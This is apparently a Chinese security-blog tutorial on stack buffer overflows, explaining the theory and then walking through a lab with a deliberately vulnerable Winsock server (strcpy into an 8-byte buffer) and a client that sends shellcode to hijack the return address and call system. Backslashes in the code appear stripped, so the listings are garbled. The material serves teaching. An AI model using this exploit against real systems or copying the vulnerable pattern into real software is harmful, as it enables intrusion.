溢出漏洞 | 缓冲区溢出漏洞与原理分析

admin 2022年7月29日10:01:50评论1 views字数 5065阅读16分53秒阅读模式

01

缓冲区溢出



缓冲区溢出(Buffer Overflow)是目前非常普遍而且危险性非常高的漏洞,在各种操作系统和应用软件中广泛存在。

利用缓冲区溢出攻击,可以使远程主机出现程序运行错误、系统死机或者重启等异常现象,它甚至可以被黑客利用,在没有任何系统账户的条件下获得系统最高控制权,进而进行各种非法操作。

缓冲区溢出的原理很简单,类似于把水倒入杯子中,而杯子容量有限,如果倒入水的量超过杯子的容量,水就会溢出来。

缓冲区是一块用于存放数据的临时内存空间,它的长度事先已经被程序或者操作系统定义好。缓冲区类似于一个杯子,写入的数据类似于倒入的水。缓冲区溢出就是将长度超过缓冲区大小的数据写入程序的缓冲区,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他指令。


02

漏洞分析



以下面代码为例

#include <stdio.h>int main(){      char string[8];      gets(string);      printf("string is %sn", string);}
上述main函数执行时,上述信息按照参数、ret(返回地址)和EBP(栈底)的顺序依次压入其堆栈区中,然后根据所调用的局部变量再在堆栈中开辟一块相应的空间,这个内存空间被申请占用的过程是从内存高地址空间向低地址空间的延伸。为局部变量在堆栈中预留的空间在填入局部变量时,其填入的顺序是从低地址内存空间向高地址内存空间依次进行。函数执行完后,局部变量占用的内存空间将被丢弃,并根据EBP和ret地址,恢复到调用函数原有地址空间继续执行。当字符处理函数没有对局部变量进行越界监视和限制时,就存在局部变量写越界,覆盖了高地址内存空间中ret、EBP的信息,造成缓冲区溢出。在UNIX系统中对C函数处理时,系统会为其分配一段内存区间,其中用于函数调用的区域为堆栈区,保存了函数调用过程中的返回地址、栈顶和栈底信息,以及局部变量和函数的参数。 

对于上述main()函数,由于没有参数,系统首先将main函数的ret和EBP写入堆栈,然后根据string[8]字符数组的大小,堆栈再扩展8个字节的空间用于存放sting[]数组中的局部变量。 

当执行gets()函数将局部变量例如AAAA写入string[]数组时,字符串AAAA会先填入内存的低地址空间,然后再是高地址空间。堆栈中内存的分配以4字节为单位,如果gets()函数执行时输入的字符串为AAAAAAAAAAAAAAAA,按照上述填入顺序,原有ret和EBP的内存空间将会被字符串A覆盖,就会发生缓冲区溢出。 

发生溢出时,如果用一个实际存在的指令地址来覆盖被调用函数的返回地址,则系统就会转而执行这个指令,这一点就是缓冲区溢出被用来进行攻击的最关键之处。 

在UNIX系统中,由于相同shell环境下,程序的堆栈地址信息是相同的,所以只要调试后找到这个堆栈地址,就可以在发生溢出时转而执行这个事先设定的程序了。并且,如果发生溢出的源程序具有管理员权限,则替换后的程序也拥有相同的管理员权限。引起缓冲区溢出的问题主要原因是C和C++本质就是不安全的(Java和C#就相对安全许多)没有边界来检查数据和指针的引用。而软件开发人员经常忽略检查边界,这就会有缓冲区溢出的风险。

标准C库中还存在许多非安全字符串的操作,包括strcpy()、sprintf()、gets()、strcat、scanf、vscanf等。为了防止缓冲区溢出的发生,编程人员需要对这些存在缓冲区溢出问题的函数予以关注,增加边界限制,编写正确的代码,或者改用没有问题的函数,例如strncpy()、strncat()、snprintf()等。

03

缓冲区溢出实验



1、打开vc6。

溢出漏洞 | 缓冲区溢出漏洞与原理分析


2、新建一个C++ Source File,文件名为server,作为服务器。

溢出漏洞 | 缓冲区溢出漏洞与原理分析


3、输入以下的代码,并编译构建。

溢出漏洞 | 缓冲区溢出漏洞与原理分析


#include <stdio.h>#include <stdlib.h>#include <WINSOCK2.H>#pragma comment (lib, "WS2_32")void showcontent(char *buff);int main(int argc, char **argv){       WSADATA wsaData;       if( WSAStartup(0x101, &wsaData) != 0 )       {   printf("Failed Initialization.n");   return 0;       }             if(argc!=2)       {   printf("Usage: server.exe [port]n");   return 0;       }             int port = atoi(argv[1]);       SOCKET sListen = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);       if (sListen == INVALID_SOCKET)       {   printf("Failed socket()n");   return 0;       }             sockaddr_in sin;       sin.sin_family = AF_INET;       sin.sin_port = htons(port);       sin.sin_addr.S_un.S_addr = INADDR_ANY;                   if (::bind(sListen, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR)       {   printf("Failed bind()n");   return 0;       }                   if (::listen(sListen, 2) == SOCKET_ERROR)       {   printf("Failed listen()n");   return 0;       }                   sockaddr_in remoteAddr;       int nAddrLen = sizeof(remoteAddr);       SOCKET sClient;       char szText[] = "TCP Server is Connected!nn";       char buff[1024] = {0};       char toSend[1024] = {0};                   while (TRUE)       {   sClient = ::accept(sListen, (SOCKADDR*)&remoteAddr, &nAddrLen);   if (sClient == INVALID_SOCKET)   {          printf("Failed accept()n");          continue;   }     printf("Somebody is connecting: %sn", inet_ntoa(remoteAddr.sin_addr));   ::send(sClient, szText, strlen(szText), 0);       int nRecv = ::recv(sClient, buff, sizeof(buff), 0);   if (nRecv > 0)   {          buff[nRecv] = '';          ::closesocket(sClient);          break;   }       }                   ::closesocket(sListen);       showcontent(buff);       return 0;}  void showcontent(char *buff){       char content[8];       strcpy(content, buff);       printf("%s", content);}

4、运行程序,可以看见有server.exe应用程序,[port]是口令。
溢出漏洞 | 缓冲区溢出漏洞与原理分析


5、再新建一个C++ Source File,文件名为Client,作为客户端。

溢出漏洞 | 缓冲区溢出漏洞与原理分析


6、输入以下的代码,并编译构建。
溢出漏洞 | 缓冲区溢出漏洞与原理分析


#include <stdio.h> #include <stdlib.h>#include <WINSOCK2.H>#pragma comment (lib, "WS2_32") int main(int argc, char* *argv){       WSADATA wsaData;       if( WSAStartup(0x101, &wsaData) != 0 )       {   printf("Failed Initialization.n");   return 0;       }             if(argc!=3)       {   printf("Usage: client.exe [Server_IP] [port]n");   return 0;       }             int port = atoi(argv[2]);       SOCKET s = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);             if(s == INVALID_SOCKET)       {   printf("Failed socket()n");   return 0;       }             sockaddr_in servAddr;       servAddr.sin_family = AF_INET;       servAddr.sin_port = htons(port);       servAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);             if(::connect(s, (sockaddr *)&servAddr, sizeof(servAddr)) == -1)       {   printf("Failed connect()n");   return 0;       }             char buff[1024];       int nRev = ::recv(s, buff, sizeof(buff), 0);       if (nRev > 0)       {   buff[nRev] = '';   printf("Received: %s", buff);       }                   char toSend[] =   "x41x41x41x41x41x41x41x41x41x41x41x41"   "x12x45xfax7f"   "x55x8bxec"   "x33xc0x50x50x50xc6x45xf4x4dxc6x45xf5x53xc6x45"   "xf6x56xc6x45xf7x43xc6x45xf8x52xc6x45xf9x54xc6"   "x45xfax2exc6x45xfbx44xc6x45xfcx4cxc6"   "x45xfdx4cxba"   "x80x1dx80x7c"   //loadlibrarya   "x52x8dx45xf4x50xf"   "xffxd0";               char toSend2[] =         "x41x42x43x44"   "x45x46x47x48"   "x12x45xfax7f"   "x55x8BxECx33xC0x50x50x50xC6x45xF4x4DxC6x45xF5x53"   "xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x54xC6x45xFAx2ExC6"   "x45xFBx44xC6x45xFCx4CxC6x45xFDx4CxBA"   "x9cx3fx88x7c"   //loadlibrary地址0x7c883f9c   "x52x8Dx45xF4x50"   "xFFx55xF0"   "x55x8BxECx83xECx2CxB8x63x6Fx6Dx6Dx89x45xF4xB8x61x6Ex64x2E"    //command.   "x89x45xF8xB8x63x6Fx6Dx22x89x45xFCx33xD2x88x55xFFx8Dx45xF4"   //      c   o   m   "x50xB8"   "x7cxbfx93x77"   //System地址0x77bf93c7   "xFFxD0";             send(s, toSend, strlen(toSend), 0);       ::closesocket(s);       return 0;}


7、运行程序,可以看见有client.exe应用程序,[Server_IP]是服务器的IP地址,[port]是口令。
溢出漏洞 | 缓冲区溢出漏洞与原理分析

8、打开命令提示符,输入“ipconfig”查看本机的IP地址,即为服务器的IP地址。如图,这里的IP地址是192.168.122.8。

溢出漏洞 | 缓冲区溢出漏洞与原理分析


9、打开Debug文件夹,找到其中的client.exe和server.exe。

溢出漏洞 | 缓冲区溢出漏洞与原理分析


10、复制server.exe和client.exe,将他们粘贴到“c:windowssystem32”目录下。

溢出漏洞 | 缓冲区溢出漏洞与原理分析


11、打开命令提示符,找到“c:windowssystem32”目录,并运行命令“server.exe 8888”来开启server。

溢出漏洞 | 缓冲区溢出漏洞与原理分析


12、另外打开一个命令提示符,同样找到“c:windowssystem32”目录,运行命令“client.exe 192.168.1.126 8888”来攻击server。点击回车键后,可以看见一行提示“Received: TCP Server is Connected!”,表明连接上了server。然后会弹出一个对话框,显示server.exe遇到问题需要关闭,这表明server被攻击并报错了。

溢出漏洞 | 缓冲区溢出漏洞与原理分析


13、缓冲区溢出实验完毕,关闭虚拟机和所有窗口。


如有侵权,请联系删除。

溢出漏洞 | 缓冲区溢出漏洞与原理分析

扫码关注我们

查看更多精彩内容




原文始发于微信公众号(长风实验室):溢出漏洞 | 缓冲区溢出漏洞与原理分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月29日10:01:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   溢出漏洞 | 缓冲区溢出漏洞与原理分析https://cn-sec.com/archives/1209802.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息